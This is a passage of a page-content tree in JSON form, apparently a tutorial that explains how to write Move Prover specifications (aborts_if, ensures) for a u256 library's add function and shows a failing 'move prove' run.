",{"type":23,"tag":940,"props":20807,"children":20810},{"href":20808,"rel":20809},"https://github.com/pontem-network/u256/blob/main/sources/u256.spec.move",[944],[20811],{"type":29,"value":20812},"sources/u256.spec.move",{"type":29,"value":557},{"type":23,"tag":64,"props":20815,"children":20817},{"code":20816,"language":986,"meta":7,"className":987,"style":7},"spec add { ... }\n",[20818],{"type":23,"tag":71,"props":20819,"children":20820},{"__ignoreMap":7},[20821],{"type":23,"tag":75,"props":20822,"children":20823},{"class":77,"line":78},[20824,20828,20833,20838,20842],{"type":23,"tag":75,"props":20825,"children":20826},{"style":110},[20827],{"type":29,"value":19534},{"type":23,"tag":75,"props":20829,"children":20830},{"style":110},[20831],{"type":29,"value":20832}," add",{"type":23,"tag":75,"props":20834,"children":20835},{"style":94},[20836],{"type":29,"value":20837}," { ",{"type":23,"tag":75,"props":20839,"children":20840},{"style":209},[20841],{"type":29,"value":9174},{"type":23,"tag":75,"props":20843,"children":20844},{"style":94},[20845],{"type":29,"value":7477},{"type":23,"tag":32,"props":20847,"children":20848},{},[20849,20851,20856],{"type":29,"value":20850},"The specifications placed inside the specification blocks are considered ",{"type":23,"tag":9690,"props":20852,"children":20853},{},[20854],{"type":29,"value":20855},"Expressions",{"type":29,"value":557},{"type":23,"tag":923,"props":20858,"children":20860},{"id":20859},"expressions",[20861],{"type":29,"value":20855},{"type":23,"tag":32,"props":20863,"children":20864},{},[20865],{"type":29,"value":20866},"Let's go over some common expressions.",{"type":23,"tag":32,"props":20868,"children":20869},{},[20870,20875],{"type":23,"tag":71,"props":20871,"children":20873},{"className":20872},[],[20874],{"type":29,"value":19584},{"type":29,"value":20876}," defines when the function can abort. This is especially useful in the context of smart contract development, where an abort would cause the entire transaction to rollback.",{"type":23,"tag":32,"props":20878,"children":20879},{},[20880,20882,20888],{"type":29,"value":20881},"For example, the ",{"type":23,"tag":71,"props":20883,"children":20885},{"className":20884},[],[20886],{"type":29,"value":20887},"add",{"type":29,"value":20889}," function aborts if and only if the U256 addition overflows. Let's put these words into an expression:",{"type":23,"tag":64,"props":20891,"children":20893},{"code":20892,"language":986,"meta":7,"className":987,"style":7},"const P64: u128 = 0x10000000000000000;\n\nspec fun value_of_U256(a: U256): num {\n    a.v0 +\n    a.v1 * P64 +\n    a.v2 * P64 * P64 +\n    a.v3 * P64 * P64 * P64\n}\n\nspec add {\n    aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n}\n",[20894],{"type":23,"tag":71,"props":20895,"children":20896},{"__ignoreMap":7},[20897,20930,20937,20986,21008,21037,21073,21114,21121,21128,21143,21224],{"type":23,"tag":75,"props":20898,"children":20899},{"class":77,"line":78},[20900,20904,20909,20913,20917,20921,20926],{"type":23,"tag":75,"props":20901,"children":20902},{"style":82},[20903],{"type":29,"value":2869},{"type":23,"tag":75,"props":20905,"children":20906},{"style":94},[20907],{"type":29,"value":20908}," P64",{"type":23,"tag":75,"props":20910,"children":20911},{"style":209},[20912],{"type":29,"value":1018},{"type":23,"tag":75,"props":20914,"children":20915},{"style":104},[20916],{"type":29,"value":20102},{"type":23,"tag":75,"props":20918,"children":20919},{"style":209},[20920],{"type":29,"value":1193},{"type":23,"tag":75,"props":20922,"children":20923},{"style":237},[20924],{"type":29,"value":20925}," 0x10000000000000000",{"type":23,"tag":75,"props":20927,"children":20928},{"style":94},[20929],{"type":29,"value":245},{"type":23,"tag":75,"props":20931,"children":20932},{"class":77,"line":100},[20933],{"type":23,"tag":75,"props":20934,"children":20935},{"emptyLinePlaceholder":15},[20936],{"type":29,"value":276},{"type":23,"tag":75,"props":20938,"children":20939},{"class":77,"line":121},[20940,20944,20948,20953,20957,20961,20965,20969,20973,20977,20982],{"type":23,"tag":75,"props":20941,"children":20942},{"style":110},[20943],{"type":29,"value":19534},{"type":23,"tag":75,"props":20945,"children":20946},{"style":110},[20947],{"type":29,"value":17474},{"type":23,"tag":75,"props":20949,"children":20950},{"style":88},[20951],{"type":29,"value":20952}," value_of_U256",{"type":23,"tag":75,"props":20954,"children":20955},{"style":94},[20956],{"type":29,"value":643},{"type":23,"tag":75,"props":20958,"children":20959},{"style":110},[20960],{"type":29,"value":940},{"type":23,"tag":75,"props":20962,"children":20963},{"style":209},[20964],{"type":29,"value":1018},{"type":23,"tag":75,"props":20966,"children":20967},{"style":104},[20968],{"type":29,"value":16001},{"type":23,"tag":75,"props":20970,"children":20971},{"style":94},[20972],{"type":29,"value":1347},{"type":23,"tag":75,"props":20974,"children":20975},{"style":209},[20976],{"type":29,"value":1018},{"type":23,"tag":75,"props":20978,"children":20979},{"style":110},[20980],{"type":29,"value":20981}," num",{"type":23,"tag":75,"props":20983,"children":20984},{"style":94},[20985],{"type":29,"value":401},{"type":23,"tag":75,"props":20987,"children":20988},{"class":77,"line":138},[20989,20994,20998,21003],{"type":23,"tag":75,"props":20990,"children":20991},{"style":110},[20992],{"type":29,"value":20993},"    a",{"type":23,"tag":75,"props":20995,"children":20996},{"style":209},[20997],{"type":29,"value":557},{"type":23,"tag":75,"props":20999,"children":21000},{"style":94},[21001],{"type":29,"value":21002},"v0 ",{"type":23,"tag":75,"props":21004,"children":21005},{"style":209},[21006],{"type":29,"value":21007},"+\n",{"type":23,"tag":75,"props":21009,"children":21010},{"class":77,"line":161},[21011,21015,21019,21024,21028,21032],{"type":23,"tag":75,"props":21012,"children":21013},{"style":110},[21014],{"type":29,"value":20993},{"type":23,"tag":75,"props":21016,"children":21017},{"style":209},[21018],{"type":29,"value":557},{"type":23,"tag":75,"props":21020,"children":21021},{"style":94},[21022],{"type":29,"value":21023},"v1 ",{"type":23,"tag":75,"props":21025,"children":21026},{"style":209},[21027],{"type":29,"value":601},{"type":23,"tag":75,"props":21029,"children":21030},{"style":104},[21031],{"type":29,"value":20908},{"type":23,"tag":75,"props":21033,"children":21034},{"style":209},[21035],{"type":29,"value":21036}," +\n",{"type":23,"tag":75,"props":21038,"children":21039},{"class":77,"line":196},[21040,21044,21048,21053,21057,21061,21065,21069],{"type":23,"tag":75,"props":21041,"children":21042},{"style":110},[21043],{"type":29,"value":20993},{"type":23,"tag":75,"props":21045,"children":21046},{"style":209},[21047],{"type":29,"value":557},{"type":23,"tag":75,"props":21049,"children":21050},{"style":94},[21051],{"type":29,"value":21052},"v2 ",{"type":23,"tag":75,"props":21054,"children":21055},{"style":209},[21056],{"type":29,"value":601},{"type":23,"tag":75,"props":21058,"children":21059},{"style":104},[21060],{"type":29,"value":20908},{"type":23,"tag":75,"props":21062,"children":21063},{"style":209},[21064],{"type":29,"value":579},{"type":23,"tag":75,"props":21066,"children":21067},{"style":104},[21068],{"type":29,"value":20908},{"type":23,"tag":75,"props":21070,"children":21071},{"style":209},[21072],{"type":29,"value":21036},{"type":23,"tag":75,"props":21074,"children":21075},{"class":77,"line":220},[21076,21080,21084,21089,21093,21097,21101,21105,21109],{"type":23,"tag":75,"props":21077,"children":21078},{"style":110},[21079],{"type":29,"value":20993},{"type":23,"tag":75,"props":21081,"children":21082},{"style":209},[21083],{"type":29,"value":557},{"type":23,"tag":75,"props":21085,"children":21086},{"style":94},[21087],{"type":29,"value":21088},"v3 ",{"type":23,"tag":75,"props":21090,"children":21091},{"style":209},[21092],{"type":29,"value":601},{"type":23,"tag":75,"props":21094,"children":21095},{"style":104},[21096],{"type":29,"value":20908},{"type":23,"tag":75,"props":21098,"children":21099},{"style":209},[21100],{"type":29,"value":579},{"type":23,"tag":75,"props":21102,"children":21103},{"style":104},[21104],{"type":29,"value":20908},{"type":23,"tag":75,"props":21106,"children":21107},{"style":209},[21108],{"type":29,"value":579},{"type":23,"tag":75,"props":21110,"children":21111},{"style":104},[21112],{"type":29,"value":21113}," P64\n",{"type":23,"tag":75,"props":21115,"children":21116},{"class":77,"line":248},[21117],{"type":23,"tag":75,"props":21118,"children":21119},{"style":94},[21120],{"type":29,"value":369},{"type":23,"tag":75,"props":21122,"children":21123},{"class":77,"line":270},[21124],{"type":23,"tag":75,"props":21125,"children":21126},{"emptyLinePlaceholder":15},[21127],{"type":29,"value":276},{"type":23,"tag":75,"props":21129,"children":21130},{"class":77,"line":279},[21131,21135,21139],{"type":23,"tag":75,"props":21132,"children":21133},{"style":110},[21134],{"type":29,"value":19534},{"type":23,"tag":75,"props":21136,"children":21137},{"style":110},[21138],{"type":29,"value":20832},{"type":23,"tag":75,"props":21140,"children":21141},{"style":94},[21142],{"type":29,"value":401},{"type":23,"tag":75,"props":21144,"children":21145},{"class":77,"line":303},[21146,21151,21155,21159,21163,21167,21171,21175,21179,21183,21187,21192,21196,21200,21204,21208,21212,21216,21220],{"type":23,"tag":75,"props":21147,"children":21148},{"style":110},[21149],{"type":29,"value":21150},"    aborts_if",{"type":23,"tag":75,"props":21152,"children":21153},{"style":88},[21154],{"type":29,"value":20952},{"type":23,"tag":75,"props":21156,"children":21157},{"style":94},[21158],{"type":29,"value":643},{"type":23,"tag":75,"props":21160,"children":21161},{"style":110},[21162],{"type":29,"value":940},{"type":23,"tag":75,"props":21164,"children":21165},{"style":94},[21166],{"type":29,"value":167},{"type":23,"tag":75,"props":21168,"children":21169},{"style":209},[21170],{"type":29,"value":7862},{"type":23,"tag":75,"props":21172,"children":21173},{"style":88},[21174],{"type":29,"value":20952},{"type":23,"tag":75,"props":21176,"children":21177},{"style":94},[21178],{"type":29,"value":643},{"type":23,"tag":75,"props":21180,"children":21181},{"style":110},[21182],{"type":29,"value":14507},{"type":23,"tag":75,"props":21184,"children":21185},{"style":94},[21186],{"type":29,"value":167},{"type":23,"tag":75,"props":21188,"children":21189},{"style":209},[21190],{"type":29,"value":21191},">=",{"type":23,"tag":75,"props":21193,"children":21194},{"style":104},[21195],{"type":29,"value":20908},{"type":23,"tag":75,"props":21197,"children":21198},{"style":209},[21199],{"type":29,"value":579},{"type":23,"tag":75,"props":21201,"children":21202},{"style":104},[21203],{"type":29,"value":20908},{"type":23,"tag":75,"props":21205,"children":21206},{"style":209},[21207],{"type":29,"value":579},{"type":23,"tag":75,"props":21209,"children":21210},{"style":104},[21211],{"type":29,"value":20908},{"type":23,"tag":75,"props":21213,"children":21214},{"style":209},[21215],{"type":29,"value":579},{"type":23,"tag":75,"props":21217,"children":21218},{"style":104},[21219],{"type":29,"value":20908},{"type":23,"tag":75,"props":21221,"children":21222},{"style":94},[21223],{"type":29,"value":245},{"type":23,"tag":75,"props":21225,"children":21226},{"class":77,"line":322},[21227],{"type":23,"tag":75,"props":21228,"children":21229},{"style":94},[21230],{"type":29,"value":369},{"type":23,"tag":32,"props":21232,"children":21233},{},[21234,21236,21243],{"type":29,"value":21235},"We can observe in the snippet above, that we are allowed to call functions inside the spec block. However, the callee must either be an ",{"type":23,"tag":940,"props":21237,"children":21240},{"href":21238,"rel":21239},"https://github.com/move-language/move/blob/f7d5b1a3f4d622c17f540190fa4fa12323cb0bb8/language/move-prover/doc/user/spec-lang.md#builtin-functions",[944],[21241],{"type":29,"value":21242},"MSL function",{"type":29,"value":21244},", or a pure Move function. A pure Move function can be defined as a function that does not modify the global state or use Move expression features unsupported by MSL.",{"type":23,"tag":32,"props":21246,"children":21247},{},[21248,21250,21255,21256,21261],{"type":29,"value":21249},"A common pattern for ",{"type":23,"tag":71,"props":21251,"children":21253},{"className":21252},[],[21254],{"type":29,"value":19584},{"type":29,"value":16773},{"type":23,"tag":71,"props":21257,"children":21259},{"className":21258},[],[21260],{"type":29,"value":19592},{"type":29,"value":21262},", which lets you prove that a function will never abort.",{"type":23,"tag":64,"props":21264,"children":21266},{"code":21265,"language":986,"meta":7,"className":987,"style":7},"spec critical_function {\n    aborts_if false;\n}\n",[21267],{"type":23,"tag":71,"props":21268,"children":21269},{"__ignoreMap":7},[21270,21286,21301],{"type":23,"tag":75,"props":21271,"children":21272},{"class":77,"line":78},[21273,21277,21282],{"type":23,"tag":75,"props":21274,"children":21275},{"style":110},[21276],{"type":29,"value":19534},{"type":23,"tag":75,"props":21278,"children":21279},{"style":110},[21280],{"type":29,"value":21281}," critical_function",{"type":23,"tag":75,"props":21283,"children":21284},{"style":94},[21285],{"type":29,"value":401},{"type":23,"tag":75,"props":21287,"children":21288},{"class":77,"line":100},[21289,21293,21297],{"type":23,"tag":75,"props":21290,"children":21291},{"style":110},[21292],{"type":29,"value":21150},{"type":23,"tag":75,"props":21294,"children":21295},{"style":82},[21296],{"type":29,"value":20313},{"type":23,"tag":75,"props":21298,"children":21299},{"style":94},[21300],{"type":29,"value":245},{"type":23,"tag":75,"props":21302,"children":21303},{"class":77,"line":121},[21304],{"type":23,"tag":75,"props":21305,"children":21306},{"style":94},[21307],{"type":29,"value":369},{"type":23,"tag":32,"props":21309,"children":21310},{},[21311,21313,21319],{"type":29,"value":21312},"Another type of expression that we can use is ",{"type":23,"tag":71,"props":21314,"children":21316},{"className":21315},[],[21317],{"type":29,"value":21318},"ensures",{"type":29,"value":21320},". As the name suggests, it ensures that a certain condition is true at the end of a function's execution.",{"type":23,"tag":32,"props":21322,"children":21323},{},[21324,21326,21331,21333,21338],{"type":29,"value":21325},"In the case of the ",{"type":23,"tag":71,"props":21327,"children":21329},{"className":21328},[],[21330],{"type":29,"value":20887},{"type":29,"value":21332}," function, we want to ensure that the return value is the sum of the 2 parameters. Note that because ",{"type":23,"tag":16596,"props":21334,"children":21335},{},[21336],{"type":29,"value":21337},"MSL uses unbounded numbers",{"type":29,"value":21339},", we're able to very cleanly express this property without worrying about overflows.",{"type":23,"tag":64,"props":21341,"children":21343},{"code":21342,"language":986,"meta":7,"className":987,"style":7},"spec add {\n    aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n    ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n}\n",[21344],{"type":23,"tag":71,"props":21345,"children":21346},{"__ignoreMap":7},[21347,21362,21441,21505],{"type":23,"tag":75,"props":21348,"children":21349},{"class":77,"line":78},[21350,21354,21358],{"type":23,"tag":75,"props":21351,"children":21352},{"style":110},[21353],{"type":29,"value":19534},{"type":23,"tag":75,"props":21355,"children":21356},{"style":110},[21357],{"type":29,"value":20832},{"type":23,"tag":75,"props":21359,"children":21360},{"style":94},[21361],{"type":29,"value":401},{"type":23,"tag":75,"props":21363,"children":21364},{"class":77,"line":100},[21365,21369,21373,21377,21381,21385,21389,21393,21397,21401,21405,21409,21413,21417,21421,21425,21429,21433,21437],{"type":23,"tag":75,"props":21366,"children":21367},{"style":110},[21368],{"type":29,"value":21150},{"type":23,"tag":75,"props":21370,"children":21371},{"style":88},[21372],{"type":29,"value":20952},{"type":23,"tag":75,"props":21374,"children":21375},{"style":94},[21376],{"type":29,"value":643},{"type":23,"tag":75,"props":21378,"children":21379},{"style":110},[21380],{"type":29,"value":940},{"type":23,"tag":75,"props":21382,"children":21383},{"style":94},[21384],{"type":29,"value":167},{"type":23,"tag":75,"props":21386,"children":21387},{"style":209},[21388],{"type":29,"value":7862},{"type":23,"tag":75,"props":21390,"children":21391},{"style":88},[21392],{"type":29,"value":20952},{"type":23,"tag":75,"props":21394,"children":21395},{"style":94},[21396],{"type":29,"value":643},{"type":23,"tag":75,"props":21398,"children":21399},{"style":110},[21400],{"type":29,"value":14507},{"type":23,"tag":75,"props":21402,"children":21403},{"style":94},[21404],{"type":29,"value":167},{"type":23,"tag":75,"props":21406,"children":21407},{"style":209},[21408],{"type":29,"value":21191},{"type":23,"tag":75,"props":21410,"children":21411},{"style":104},[21412],{"type":29,"value":20908},{"type":23,"tag":75,"props":21414,"children":21415},{"style":209},[21416],{"type":29,"value":579},{"type":23,"tag":75,"props":21418,"children":21419},{"style":104},[21420],{"type":29,"value":20908},{"type":23,"tag":75,"props":21422,"children":21423},{"style":209},[21424],{"type":29,"value":579},{"type":23,"tag":75,"props":21426,"children":21427},{"style":104},[21428],{"type":29,"value":20908},{"type":23,"tag":75,"props":21430,"children":21431},{"style":209},[21432],{"type":29,"value":579},{"type":23,"tag":75,"props":21434,"children":21435},{"style":104},[21436],{"type":29,"value":20908},{"type":23,"tag":75,"props":21438,"children":21439},{"style":94},[21440],{"type":29,"value":245},{"type":23,"tag":75,"props":21442,"children":21443},{"class":77,"line":121},[21444,21449,21453,21457,21461,21465,21469,21473,21477,21481,21485,21489,21493,21497,21501],{"type":23,"tag":75,"props":21445,"children":21446},{"style":110},[21447],{"type":29,"value":21448},"    ensures",{"type":23,"tag":75,"props":21450,"children":21451},{"style":88},[21452],{"type":29,"value":20952},{"type":23,"tag":75,"props":21454,"children":21455},{"style":94},[21456],{"type":29,"value":643},{"type":23,"tag":75,"props":21458,"children":21459},{"style":110},[21460],{"type":29,"value":1342},{"type":23,"tag":75,"props":21462,"children":21463},{"style":94},[21464],{"type":29,"value":167},{"type":23,"tag":75,"props":21466,"children":21467},{"style":209},[21468],{"type":29,"value":2469},{"type":23,"tag":75,"props":21470,"children":21471},{"style":88},[21472],{"type":29,"value":20952},{"type":23,"tag":75,"props":21474,"children":21475},{"style":94},[21476],{"type":29,"value":643},{"type":23,"tag":75,"props":21478,"children":21479},{"style":110},[21480],{"type":29,"value":940},{"type":23,"tag":75,"props":21482,"children":21483},{"style":94},[21484],{"type":29,"value":167},{"type":23,"tag":75,"props":21486,"children":21487},{"style":209},[21488],{"type":29,"value":7862},{"type":23,"tag":75,"props":21490,"children":21491},{"style":88},[21492],{"type":29,"value":20952},{"type":23,"tag":75,"props":21494,"children":21495},{"style":94},[21496],{"type":29,"value":643},{"type":23,"tag":75,"props":21498,"children":21499},{"style":110},[21500],{"type":29,"value":14507},{"type":23,"tag":75,"props":21502,"children":21503},{"style":94},[21504],{"type":29,"value":15099},{"type":23,"tag":75,"props":21506,"children":21507},{"class":77,"line":138},[21508],{"type":23,"tag":75,"props":21509,"children":21510},{"style":94},[21511],{"type":29,"value":369},{"type":23,"tag":32,"props":21513,"children":21514},{},[21515],{"type":29,"value":21516},"Note that because Move specification functions are written in MSL, the numbers are unbounded and we can define the expression without risk of overflow.",{"type":23,"tag":32,"props":21518,"children":21519},{},[21520],{"type":29,"value":21521},"Let's try to prove the library with the specifications from above:",{"type":23,"tag":64,"props":21523,"children":21525},{"code":21524,"language":15517,"meta":7,"className":15518,"style":7},"$ move prove\n",[21526],{"type":23,"tag":71,"props":21527,"children":21528},{"__ignoreMap":7},[21529],{"type":23,"tag":75,"props":21530,"children":21531},{"class":77,"line":78},[21532,21537,21542],{"type":23,"tag":75,"props":21533,"children":21534},{"style":88},[21535],{"type":29,"value":21536},"$",{"type":23,"tag":75,"props":21538,"children":21539},{"style":1266},[21540],{"type":29,"value":21541}," move",{"type":23,"tag":75,"props":21543,"children":21544},{"style":1266},[21545],{"type":29,"value":21546}," prove\n",{"type":23,"tag":32,"props":21548,"children":21549},{},[21550],{"type":29,"value":21551},"It outputs the following error information:",{"type":23,"tag":64,"props":21553,"children":21555},{"code":21554,"language":15517,"meta":7,"className":15518,"style":7},"[...]\n\nerror: abort not covered by any of the `aborts_if` clauses\n╭     spec add {\n|         aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n|         ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n|     }\n╰─────^\n\n[...]\n\n at ./sources/u256.move:316: add\n enter loop, variable(s) carry, i, ret havocked and reassigned\n     carry = 54\n     i = 3792\n     ret = u256.U256{v0 = 26418, v1 = 27938, v2 = 6900, v3 = 1999}\n at ./sources/u256.move:346: add\n     ABORTED\n\nFAILURE proving 1 modules from package `u256` in 9.143s\n{\n    \"Error\": \"Move Prover failed: exiting with verification errors\"\n}\n",[21556],{"type":23,"tag":71,"props":21557,"children":21558},{"__ignoreMap":7},[21559,21567,21574,21636,21657,21746,21814,21826,21834,21841,21848,21855,21873,21934,21951,21968,22040,22056,22064,22071,22121,22128,22145],{"type":23,"tag":75,"props":21560,"children":21561},{"class":77,"line":78},[21562],{"type":23,"tag":75,"props":21563,"children":21564},{"style":94},[21565],{"type":29,"value":21566},"[...]\n",{"type":23,"tag":75,"props":21568,"children":21569},{"class":77,"line":100},[21570],{"type":23,"tag":75,"props":21571,"children":21572},{"emptyLinePlaceholder":15},[21573],{"type":29,"value":276},{"type":23,"tag":75,"props":21575,"children":21576},{"class":77,"line":121},[21577,21582,21587,21592,21597,21602,21607,21612,21617,21622,21626,21631],{"type":23,"tag":75,"props":21578,"children":21579},{"style":88},[21580],{"type":29,"value":21581},"error:",{"type":23,"tag":75,"props":21583,"children":21584},{"style":1266},[21585],{"type":29,"value":21586}," abort",{"type":23,"tag":75,"props":21588,"children":21589},{"style":1266},[21590],{"type":29,"value":21591}," not",{"type":23,"tag":75,"props":21593,"children":21594},{"style":1266},[21595],{"type":29,"value":21596}," covered",{"type":23,"tag":75,"props":21598,"children":21599},{"style":1266},[21600],{"type":29,"value":21601}," by",{"type":23,"tag":75,"props":21603,"children":21604},{"style":1266},[21605],{"type":29,"value":21606}," any",{"type":23,"tag":75,"props":21608,"children":21609},{"style":1266},[21610],{"type":29,"value":21611}," of",{"type":23,"tag":75,"props":21613,"children":21614},{"style":1266},[21615],{"type":29,"value":21616}," the",{"type":23,"tag":75,"props":21618,"children":21619},{"style":1266},[21620],{"type":29,"value":21621}," `",{"type":23,"tag":75,"props":21623,"children":21624},{"style":88},[21625],{"type":29,"value":19584},{"type":23,"tag":75,"props":21627,"children":21628},{"style":1266},[21629],{"type":29,"value":21630},"`",{"type":23,"tag":75,"props":21632,"children":21633},{"style":88},[21634],{"type":29,"value":21635}," clauses\n",{"type":23,"tag":75,"props":21637,"children":21638},{"class":77,"line":138},[21639,21644,21649,21653],{"type":23,"tag":75,"props":21640,"children":21641},{"style":88},[21642],{"type":29,"value":21643},"╭",{"type":23,"tag":75,"props":21645,"children":21646},{"style":1266},[21647],{"type":29,"value":21648},"     spec",{"type":23,"tag":75,"props":21650,"children":21651},{"style":1266},[21652],{"type":29,"value":20832},{"type":23,"tag":75,"props":21654,"children":21655},{"style":1266},[21656],{"type":29,"value":401},{"type":23,"tag":75,"props":21658,"children":21659},{"class":77,"line":161},[21660,21665,21670,21674,21678,21682,21686,21690,21694,21698,21702,21706,21710,21714,21718,21722,21726,21730,21734,21738,21742],{"type":23,"tag":75,"props":21661,"children":21662},{"style":209},[21663],{"type":29,"value":21664},"|",{"type":23,"tag":75,"props":21666,"children":21667},{"style":88},[21668],{"type":29,"value":21669},"         aborts_if",{"type":23,"tag":75,"props":21671,"children":21672},{"style":1266},[21673],{"type":29,"value":20952},{"type":23,"tag":75,"props":21675,"children":21676},{"style":94},[21677],{"type":29,"value":643},{"type":23,"tag":75,"props":21679,"children":21680},{"style":88},[21681],{"type":29,"value":940},{"type":23,"tag":75,"props":21683,"children":21684},{"style":94},[21685],{"type":29,"value":167},{"type":23,"tag":75,"props":21687,"children":21688},{"style":1266},[21689],{"type":29,"value":7862},{"type":23,"tag":75,"props":21691,"children":21692},{"style":1266},[21693],{"type":29,"value":20952},{"type":23,"tag":75,"props":21695,"children":21696},{"style":94},[21697],{"type":29,"value":643},{"type":23,"tag":75,"props":21699,"children":21700},{"style":88},[21701],{"type":29,"value":14507},{"type":23,"tag":75,"props":21703,"children":21704},{"style":94},[21705],{"type":29,"value":167},{"type":23,"tag":75,"props":21707,"children":21708},{"style":209},[21709],{"type":29,"value":4652},{"type":23,"tag":75,"props":21711,"children":21712},{"style":1266},[21713],{"type":29,"value":212},{"type":23,"tag":75,"props":21715,"children":21716},{"style":1266},[21717],{"type":29,"value":20908},{"type":23,"tag":75,"props":21719,"children":21720},{"style":82},[21721],{"type":29,"value":579},{"type":23,"tag":75,"props":21723,"children":21724},{"style":1266},[21725],{"type":29,"value":20908},{"type":23,"tag":75,"props":21727,"children":21728},{"style":82},[21729],{"type":29,"value":579},{"type":23,"tag":75,"props":21731,"children":21732},{"style":1266},[21733],{"type":29,"value":20908},{"type":23,"tag":75,"props":21735,"children":21736},{"style":82},[21737],{"type":29,"value":579},{"type":23,"tag":75,"props":21739,"children":21740},{"style":1266},[21741],{"type":29,"value":20908},{"type":23,"tag":75,"props":21743,"children":21744},{"style":94},[21745],{"type":29,"value":245},{"type":23,"tag":75,"props":21747,"children":21748},{"class":77,"line":196},[21749,21753,21758,21762,21766,21770,21774,21778,21782,21786,21790,21794,21798,21802,21806,21810],{"type":23,"tag":75,"props":21750,"children":21751},{"style":209},[21752],{"type":29,"value":21664},{"type":23,"tag":75,"props":21754,"children":21755},{"style":88},[21756],{"type":29,"value":21757},"         ensures",{"type":23,"tag":75,"props":21759,"children":21760},{"style":1266},[21761],{"type":29,"value":20952},{"type":23,"tag":75,"props":21763,"children":21764},{"style":94},[21765],{"type":29,"value":643},{"type":23,"tag":75,"props":21767,"children":21768},{"style":88},[21769],{"type":29,"value":1342},{"type":23,"tag":75,"props":21771,"children":21772},{"style":94},[21773],{"type":29,"value":167},{"type":23,"tag":75,"props":21775,"children":21776},{"style":1266},[21777],{"type":29,"value":2469},{"type":23,"tag":75,"props":21779,"children":21780},{"style":1266},[21781],{"type":29,"value":20952},{"type":23,"tag":75,"props":21783,"children":21784},{"style":94},[21785],{"type":29,"value":643},{"type":23,"tag":75,"props":21787,"children":21788},{"style":88},[21789],{"type":29,"value":940},{"type":23,"tag":75,"props":21791,"children":21792},{"style":94},[21793],{"type":29,"value":167},{"type":23,"tag":75,"props":21795,"children":21796},{"style":1266},[21797],{"type":29,"value":7862},{"type":23,"tag":75,"props":21799,"children":21800},{"style":1266},[21801],{"type":29,"value":20952},{"type":23,"tag":75,"props":21803,"children":21804},{"style":94},[21805],{"type":29,"value":643},{"type":23,"tag":75,"props":21807,"children":21808},{"style":88},[21809],{"type":29,"value":14507},{"type":23,"tag":75,"props":21811,"children":21812},{"style":94},[21813],{"type":29,"value":15099},{"type":23,"tag":75,"props":21815,"children":21816},{"class":77,"line":220},[21817,21821],{"type":23,"tag":75,"props":21818,"children":21819},{"style":209},[21820],{"type":29,"value":21664},{"type":23,"tag":75,"props":21822,"children":21823},{"style":94},[21824],{"type":29,"value":21825},"     }\n",{"type":23,"tag":75,"props":21827,"children":21828},{"class":77,"line":248},[21829],{"type":23,"tag":75,"props":21830,"children":21831},{"style":88},[21832],{"type":29,"value":21833},"╰─────^\n",{"type":23,"tag":75,"props":21835,"children":21836},{"class":77,"line":270},[21837],{"type":23,"tag":75,"props":21838,"children":21839},{"emptyLinePlaceholder":15},[21840],{"type":29,"value":276},{"type":23,"tag":75,"props":21842,"children":21843},{"class":77,"line":279},[21844],{"type":23,"tag":75,"props":21845,"children":21846},{"style":94},[21847],{"type":29,"value":21566},{"type":23,"tag":75,"props":21849,"children":21850},{"class":77,"line":303},[21851],{"type":23,"tag":75,"props":21852,"children":21853},{"emptyLinePlaceholder":15},[21854],{"type":29,"value":276},{"type":23,"tag":75,"props":21856,"children":21857},{"class":77,"line":322},[21858,21863,21868],{"type":23,"tag":75,"props":21859,"children":21860},{"style":88},[21861],{"type":29,"value":21862}," at",{"type":23,"tag":75,"props":21864,"children":21865},{"style":1266},[21866],{"type":29,"value":21867}," ./sources/u256.move:316:",{"type":23,"tag":75,"props":21869,"children":21870},{"style":1266},[21871],{"type":29,"value":21872}," add\n",{"type":23,"tag":75,"props":21874,"children":21875},{"class":77,"line":340},[21876,21881,21886,21891,21895,21900,21904,21909,21914,21919,21924,21929],{"type":23,"tag":75,"props":21877,"children":21878},{"style":88},[21879],{"type":29,"value":21880}," enter",{"type":23,"tag":75,"props":21882,"children":21883},{"style":1266},[21884],{"type":29,"value":21885}," loop,",{"type":23,"tag":75,"props":21887,"children":21888},{"style":1266},[21889],{"type":29,"value":21890}," variable",{"type":23,"tag":75,"props":21892,"children":21893},{"style":94},[21894],{"type":29,"value":643},{"type":23,"tag":75,"props":21896,"children":21897},{"style":88},[21898],{"type":29,"value":21899},"s",{"type":23,"tag":75,"props":21901,"children":21902},{"style":94},[21903],{"type":29,"value":167},{"type":23,"tag":75,"props":21905,"children":21906},{"style":1266},[21907],{"type":29,"value":21908},"carry,",{"type":23,"tag":75,"props":21910,"children":21911},{"style":1266},[21912],{"type":29,"value":21913}," i,",{"type":23,"tag":75,"props":21915,"children":21916},{"style":1266},[21917],{"type":29,"value":21918}," ret",{"type":23,"tag":75,"props":21920,"children":21921},{"style":1266},[21922],{"type":29,"value":21923}," havocked",{"type":23,"tag":75,"props":21925,"children":21926},{"style":1266},[21927],{"type":29,"value":21928}," and",{"type":23,"tag":75,"props":21930,"children":21931},{"style":1266},[21932],{"type":29,"value":21933}," reassigned\n",{"type":23,"tag":75,"props":21935,"children":21936},{"class":77,"line":349},[21937,21942,21946],{"type":23,"tag":75,"props":21938,"children":21939},{"style":88},[21940],{"type":29,"value":21941},"     carry",{"type":23,"tag":75,"props":21943,"children":21944},{"style":1266},[21945],{"type":29,"value":1193},{"type":23,"tag":75,"props":21947,"children":21948},{"style":237},[21949],{"type":29,"value":21950}," 54\n",{"type":23,"tag":75,"props":21952,"children":21953},{"class":77,"line":363},[21954,21959,21963],{"type":23,"tag":75,"props":21955,"children":21956},{"style":88},[21957],{"type":29,"value":21958},"     i",{"type":23,"tag":75,"props":21960,"children":21961},{"style":1266},[21962],{"type":29,"value":1193},{"type":23,"tag":75,"props":21964,"children":21965},{"style":237},[21966],{"type":29,"value":21967}," 3792\n",{"type":23,"tag":75,"props":21969,"children":21970},{"class":77,"line":656},[21971,21976,21980,21985,21989,21994,21999,22003,22008,22013,22017,22022,22027,22031,22036],{"type":23,"tag":75,"props":21972,"children":21973},{"style":88},[21974],{"type":29,"value":21975},"     ret",{"type":23,"tag":75,"props":21977,"children":21978},{"style":1266},[21979],{"type":29,"value":1193},{"type":23,"tag":75,"props":21981,"children":21982},{"style":1266},[21983],{"type":29,"value":21984}," 